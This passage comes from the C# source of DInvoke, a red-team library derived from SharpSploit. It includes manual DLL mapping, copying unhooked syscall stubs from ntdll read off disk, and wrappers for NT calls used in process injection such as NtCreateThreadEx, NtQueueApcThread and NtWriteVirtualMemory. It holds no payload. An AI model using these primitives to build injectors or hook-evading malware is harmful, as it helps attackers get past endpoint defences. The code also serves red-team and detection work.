/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <param name="Ordinal">The number of the ordinal to search for (e.g. 0x07).</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <param name="CallEntry">Specify whether to invoke the module's entry point.</param>
/// <returns>void</returns>
public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, short Ordinal, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, Ordinal);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Call a manually mapped DLL by Export.
/// </summary>
/// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>
/// <param name="PEINFO">Module meta data struct (PE.PE_META_DATA).</param>
/// <param name="ModuleMemoryBase">Base address of the module in memory.</param>
/// <param name="FunctionHash">Hash of the exported procedure.</param>
/// <param name="Key">64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <param name="CallEntry">Specify whether to invoke the module's entry point.</param>
/// <returns>void</returns>
public static object CallMappedDLLModuleExport(Data.PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string FunctionHash, long Key, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
{
// Call entry point if user has specified
if (CallEntry)
{
CallMappedDLLModule(PEINFO, ModuleMemoryBase);
}
// Get export pointer
IntPtr pFunc = GetExportAddress(ModuleMemoryBase, FunctionHash, Key);
// Call export
return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="FunctionName">The name of the function to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr, Syscall stub</returns>
public static IntPtr GetSyscallStub(string FunctionName)
{
// Verify process & architecture
bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
if (IntPtr.Size == 4 && isWOW64)
{
throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64.");
}
// Find the path for ntdll by looking at the currently loaded module
string NtdllPath = string.Empty;
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
{
NtdllPath = Mod.FileName;
}
}
// Alloc module into memory for parsing
IntPtr pModule = ManualMap.Map.AllocateFileToMemory(NtdllPath);
// Fetch PE meta data
Data.PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);
// Alloc PE image memory -> RW
IntPtr BaseAddress = IntPtr.Zero;
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
IntPtr pImage = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE
);
// Write PE header to memory
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
foreach (Data.PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
// Calculate offsets
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
// Write data
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
if (BytesWritten != ish.SizeOfRawData)
{
throw new InvalidOperationException("Failed to write to memory.");
}
}
// Get Ptr to function
IntPtr pFunc = GetExportAddress(pImage, FunctionName);
if (pFunc == IntPtr.Zero)
{
throw new InvalidOperationException("Failed to resolve ntdll export.");
}
// Alloc memory for call stub
BaseAddress = IntPtr.Zero;
RegionSize = (IntPtr)0x50;
IntPtr pCallStub = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE
);
// Write call stub
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);
if (BytesWritten != 0x50)
{
throw new InvalidOperationException("Failed to write to memory.");
}
// Change call stub permissions
Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Data.Win32.WinNT.PAGE_EXECUTE_READ);
// Free temporary allocations
Marshal.FreeHGlobal(pModule);
RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE);
return pCallStub;
}
}
}
================================================
FILE: DInvoke.DynamicInvoke/Native.cs
================================================
// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover)
// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
// License: BSD 3-Clause
using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;
using Data = DInvoke.Data;
namespace DInvoke.DynamicInvoke
{
/// <summary>
/// Contains function prototypes and wrapper functions for dynamically invoking NT API Calls.
/// </summary>
public class Native
{
public static Data.Native.NTSTATUS NtCreateThreadEx(
ref IntPtr threadHandle,
Data.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList)
{
// Craft an array for the arguments
object[] funcargs =
{
threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits,
sizeOfStack, maximumStackSize, attributeList
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateThreadEx",
typeof(DELEGATES.NtCreateThreadEx), ref funcargs);
// Update the modified variables
threadHandle = (IntPtr)funcargs[0];
return retValue;
}
public static Data.Native.NTSTATUS RtlCreateUserThread(
IntPtr Process,
IntPtr ThreadSecurityDescriptor,
bool CreateSuspended,
IntPtr ZeroBits,
IntPtr MaximumStackSize,
IntPtr CommittedStackSize,
IntPtr StartAddress,
IntPtr Parameter,
ref IntPtr Thread,
IntPtr ClientId)
{
// Craft an array for the arguments
object[] funcargs =
{
Process, ThreadSecurityDescriptor, CreateSuspended, ZeroBits,
MaximumStackSize, CommittedStackSize, StartAddress, Parameter,
Thread, ClientId
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlCreateUserThread",
typeof(DELEGATES.RtlCreateUserThread), ref funcargs);
// Update the modified variables
Thread = (IntPtr)funcargs[8];
return retValue;
}
public static Data.Native.NTSTATUS NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DELEGATES.NtCreateSection), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Unable to create section, " + retValue);
}
// Update the modified variables
SectionHandle = (IntPtr) funcargs[0];
MaximumSize = (ulong) funcargs[3];
return retValue;
}
public static Data.Native.NTSTATUS NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr)
{
// Craft an array for the arguments
object[] funcargs =
{
hProc, baseAddr
};
Data.Native.NTSTATUS result = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtUnmapViewOfSection",
typeof(DELEGATES.NtUnmapViewOfSection), ref funcargs);
return result;
}
public static Data.Native.NTSTATUS NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
ref ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType,
Win32Protect
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DELEGATES.NtMapViewOfSection), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success && retValue != Data.Native.NTSTATUS.ImageNotAtBase)
{
throw new InvalidOperationException("Unable to map view of section, " + retValue);
}
// Update the modified variables.
BaseAddress = (IntPtr) funcargs[2];
ViewSize = (ulong) funcargs[6];
return retValue;
}
public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
// Craft an array for the arguments
object[] funcargs =
{
DestinationString, SourceString
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
DestinationString = (Data.Native.UNICODE_STRING)funcargs[0];
}
public static Data.Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Data.Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.LdrLoadDll), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
public static void RtlZeroMemory(IntPtr Destination, int Length)
{
// Craft an array for the arguments
object[] funcargs =
{
Destination, Length
};
Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlZeroMemory", typeof(DELEGATES.RtlZeroMemory), ref funcargs);
}
public static Data.Native.NTSTATUS NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo)
{
int processInformationLength;
UInt32 RetLen = 0;
switch (processInfoClass)
{
case Data.Native.PROCESSINFOCLASS.ProcessWow64Information:
pProcInfo = Marshal.AllocHGlobal(IntPtr.Size);
RtlZeroMemory(pProcInfo, IntPtr.Size);
processInformationLength = IntPtr.Size;
break;
case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation:
Data.Native.PROCESS_BASIC_INFORMATION PBI = new Data.Native.PROCESS_BASIC_INFORMATION();
pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(PBI));
RtlZeroMemory(pProcInfo, Marshal.SizeOf(PBI));
Marshal.StructureToPtr(PBI, pProcInfo, true);
processInformationLength = Marshal.SizeOf(PBI);
break;
default:
throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}");
}
object[] funcargs =
{
hProcess, processInfoClass, pProcInfo, processInformationLength, RetLen
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryInformationProcess", typeof(DELEGATES.NtQueryInformationProcess), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
pProcInfo = (IntPtr)funcargs[2];
return retValue;
}
public static bool NtQueryInformationProcessWow64Information(IntPtr hProcess)
{
Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessWow64Information, out IntPtr pProcInfo);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
if (Marshal.ReadIntPtr(pProcInfo) == IntPtr.Zero)
{
return false;
}
return true;
}
public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess)
{
Data.Native.NTSTATUS retValue = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out IntPtr pProcInfo);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION));
}
public static IntPtr NtOpenProcess(UInt32 ProcessId, Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess)
{
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
IntPtr ProcessHandle = IntPtr.Zero;
Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();
Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();
ci.UniqueProcess = (IntPtr)ProcessId;
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, DesiredAccess, oa, ci
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenProcess", typeof(DELEGATES.NtOpenProcess), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid)
{
throw new InvalidOperationException("An invalid client ID was specified.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
ProcessHandle = (IntPtr)funcargs[0];
return ProcessHandle;
}
public static void NtQueueApcThread(IntPtr ThreadHandle, IntPtr ApcRoutine, IntPtr ApcArgument1, IntPtr ApcArgument2, IntPtr ApcArgument3)
{
// Craft an array for the arguments
object[] funcargs =
{
ThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueueApcThread", typeof(DELEGATES.NtQueueApcThread), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Unable to queue APC, " + retValue);
}
}
public static IntPtr NtOpenThread(int TID, Data.Win32.Kernel32.ThreadAccess DesiredAccess)
{
// Create OBJECT_ATTRIBUTES & CLIENT_ID ref's
IntPtr ThreadHandle = IntPtr.Zero;
Data.Native.OBJECT_ATTRIBUTES oa = new Data.Native.OBJECT_ATTRIBUTES();
Data.Native.CLIENT_ID ci = new Data.Native.CLIENT_ID();
ci.UniqueThread = (IntPtr)TID;
// Craft an array for the arguments
object[] funcargs =
{
ThreadHandle, DesiredAccess, oa, ci
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenThread", typeof(DELEGATES.NtOpenProcess), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success && retValue == Data.Native.NTSTATUS.InvalidCid)
{
throw new InvalidOperationException("An invalid client ID was specified.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new UnauthorizedAccessException("Access is denied.");
}
// Update the modified variables
ThreadHandle = (IntPtr)funcargs[0];
return ThreadHandle;
}
public static IntPtr NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtAllocateVirtualMemory", typeof(DELEGATES.NtAllocateVirtualMemory), ref funcargs);
if (retValue == Data.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Data.Native.NTSTATUS.AlreadyCommitted)
{
// STATUS_ALREADY_COMMITTED
throw new InvalidOperationException("The specified address range is already committed.");
}
if (retValue == Data.Native.NTSTATUS.CommitmentLimit)
{
// STATUS_COMMITMENT_LIMIT
throw new InvalidOperationException("Your system is low on virtual memory.");
}
if (retValue == Data.Native.NTSTATUS.ConflictingAddresses)
{
// STATUS_CONFLICTING_ADDRESSES
throw new InvalidOperationException("The specified address range conflicts with the address space.");
}
if (retValue == Data.Native.NTSTATUS.InsufficientResources)
{
// STATUS_INSUFFICIENT_RESOURCES
throw new InvalidOperationException("Insufficient system resources exist to complete the API call.");
}
if (retValue == Data.Native.NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue == Data.Native.NTSTATUS.InvalidPageProtection)
{
// STATUS_INVALID_PAGE_PROTECTION
throw new InvalidOperationException("The specified page protection was not valid.");
}
if (retValue == Data.Native.NTSTATUS.NoMemory)
{
// STATUS_NO_MEMORY
throw new InvalidOperationException("Not enough virtual memory or paging file quota is available to complete the specified operation.");
}
if (retValue == Data.Native.NTSTATUS.ObjectTypeMismatch)
{
// STATUS_OBJECT_TYPE_MISMATCH
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
// STATUS_PROCESS_IS_TERMINATING == 0xC000010A
throw new InvalidOperationException("An attempt was made to duplicate an object handle into or out of an exiting process.");
}
BaseAddress = (IntPtr)funcargs[1];
return BaseAddress;
}
public static void NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 FreeType)
{
// Craft an array for the arguments
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, FreeType
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtFreeVirtualMemory", typeof(DELEGATES.NtFreeVirtualMemory), ref funcargs);
if (retValue == Data.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Data.Native.NTSTATUS.InvalidHandle)
{
// STATUS_INVALID_HANDLE
throw new InvalidOperationException("An invalid HANDLE was specified.");
}
if (retValue != Data.Native.NTSTATUS.Success)
{
// STATUS_OBJECT_TYPE_MISMATCH == 0xC0000024
throw new InvalidOperationException("There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request.");
}
}
public static string GetFilenameFromMemoryPointer(IntPtr hProc, IntPtr pMem)
{
// Alloc buffer for result struct
IntPtr pBase = IntPtr.Zero;
IntPtr RegionSize = (IntPtr)0x500;
IntPtr pAlloc = NtAllocateVirtualMemory(hProc, ref pBase, IntPtr.Zero, ref RegionSize, Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, Data.Win32.WinNT.PAGE_READWRITE);
// Prepare NtQueryVirtualMemory parameters
Data.Native.MEMORYINFOCLASS memoryInfoClass = Data.Native.MEMORYINFOCLASS.MemorySectionName;
UInt32 MemoryInformationLength = 0x500;
UInt32 Retlen = 0;
// Craft an array for the arguments
object[] funcargs =
{
hProc, pMem, memoryInfoClass, pAlloc, MemoryInformationLength, Retlen
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtQueryVirtualMemory", typeof(DELEGATES.NtQueryVirtualMemory), ref funcargs);
string FilePath = string.Empty;
if (retValue == Data.Native.NTSTATUS.Success)
{
Data.Native.UNICODE_STRING sn = (Data.Native.UNICODE_STRING)Marshal.PtrToStructure(pAlloc, typeof(Data.Native.UNICODE_STRING));
FilePath = Marshal.PtrToStringUni(sn.Buffer);
}
// Free allocation
NtFreeVirtualMemory(hProc, ref pAlloc, ref RegionSize, Data.Win32.Kernel32.MEM_RELEASE);
if (retValue == Data.Native.NTSTATUS.AccessDenied)
{
// STATUS_ACCESS_DENIED
throw new UnauthorizedAccessException("Access is denied.");
}
if (retValue == Data.Native.NTSTATUS.AccessViolation)
{
// STATUS_ACCESS_VIOLATION
throw new InvalidOperationException("The specified base address is an invalid virtual address.");
}
if (retValue == Data.Native.NTSTATUS.InfoLengthMismatch)
{
// STATUS_INFO_LENGTH_MISMATCH
throw new InvalidOperationException("The MemoryInformation buffer is larger than MemoryInformationLength.");
}
if (retValue == Data.Native.NTSTATUS.InvalidParameter)
{
// STATUS_INVALID_PARAMETER
throw new InvalidOperationException("The specified base address is outside the range of accessible addresses.");
}
return FilePath;
}
public static UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect)
{
// Craft an array for the arguments
UInt32 OldProtect = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(DELEGATES.NtProtectVirtualMemory), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to change memory protection, " + retValue);
}
OldProtect = (UInt32)funcargs[4];
return OldProtect;
}
public static UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength)
{
// Craft an array for the arguments
UInt32 BytesWritten = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, BufferLength, BytesWritten
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to write memory, " + retValue);
}
BytesWritten = (UInt32)funcargs[4];
return BytesWritten;
}
public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress)
{
// Craft an array for the arguments
object[] funcargs =
{
hModule, FunctionName, Ordinal, FunctionAddress
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed get procedure address, " + retValue);
}
FunctionAddress = (IntPtr)funcargs[3];
return FunctionAddress;
}
public static void RtlGetVersion(ref Data.Native.OSVERSIONINFOEX VersionInformation)
{
// Craft an array for the arguments
object[] funcargs =
{
VersionInformation
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed get procedure address, " + retValue);
}
VersionInformation = (Data.Native.OSVERSIONINFOEX)funcargs[0];
}
public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead)
{
// Craft an array for the arguments
UInt32 NumberOfBytesRead = 0;
object[] funcargs =
{
ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to read memory, " + retValue);
}
NumberOfBytesRead = (UInt32)funcargs[4];
return NumberOfBytesRead;
}
public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Data.Native.OBJECT_ATTRIBUTES ObjAttr, ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, Data.Win32.Kernel32.FileShareFlags ShareAccess, Data.Win32.Kernel32.FileOpenFlags OpenOptions)
{
// Craft an array for the arguments
object[] funcargs =
{
FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions
};
Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs);
if (retValue != Data.Native.NTSTATUS.Success)
{
throw new InvalidOperationException("Failed to open file, " + retValue);
}
FileHandle = (IntPtr)funcargs[0];
return FileHandle;
}
/// <summary>
/// Holds delegates for API calls in the NT Layer.
/// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke
/// </summary>
/// <example>
///
/// // These delegates may also be used directly.
///
/// // Get a pointer to the NtCreateThreadEx function.
/// IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx");
///
/// // Create an instance of a NtCreateThreadEx delegate from our function pointer.
/// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(
/// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx));
///
/// // Invoke NtCreateThreadEx using the delegate
/// createThread(ref threadHandle, Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero,
/// procHandle, startAddress, IntPtr.Zero, Data.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero);
///
/// </example>
public struct DELEGATES
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtCreateThreadEx(
out IntPtr threadHandle,
Data.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS RtlCreateUserThread(
IntPtr Process,
IntPtr ThreadSecurityDescriptor,
bool CreateSuspended,
IntPtr ZeroBits,
IntPtr MaximumStackSize,
IntPtr CommittedStackSize,
IntPtr StartAddress,
IntPtr Parameter,
ref IntPtr Thread,
IntPtr ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtCreateSection(
ref IntPtr SectionHandle,
uint DesiredAccess,
IntPtr ObjectAttributes,
ref ulong MaximumSize,
uint SectionPageProtection,
uint AllocationAttributes,
IntPtr FileHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtUnmapViewOfSection(
IntPtr hProc,
IntPtr baseAddr);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Data.Native.NTSTATUS NtMapViewOfSection(
IntPtr SectionHandle,
IntPtr ProcessHandle,
out IntPtr BaseAddress,
IntPtr ZeroBits,
IntPtr CommitSize,
IntPtr SectionOffset,
out ulong ViewSize,
uint InheritDisposition,
uint AllocationType,
uint Win32Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 LdrLoadDll(
IntPtr PathToFile,
UInt32 dwFlags,
ref Data.Native.UNICODE_STRING ModuleFileName,
ref IntPtr ModuleHandle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlInitUnicodeString(
ref Data.Native.UNICODE_STRING DestinationString,
[MarshalAs(UnmanagedType.LPWStr)]
string SourceString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlZeroMemory(
IntPtr Destination,
int length);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryInformationProcess(
IntPtr processHandle,
Data.Native.PROCESSINFOCLASS processInformationClass,
IntPtr processInformation,
int processInformationLength,
ref UInt32 returnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenProcess(
ref IntPtr ProcessHandle,
Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess,
ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
ref Data.Native.CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueueApcThread(
IntPtr ThreadHandle,
IntPtr ApcRoutine,
IntPtr ApcArgument1,
IntPtr ApcArgument2,
IntPtr ApcArgument3);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtOpenThread(
ref IntPtr ThreadHandle,
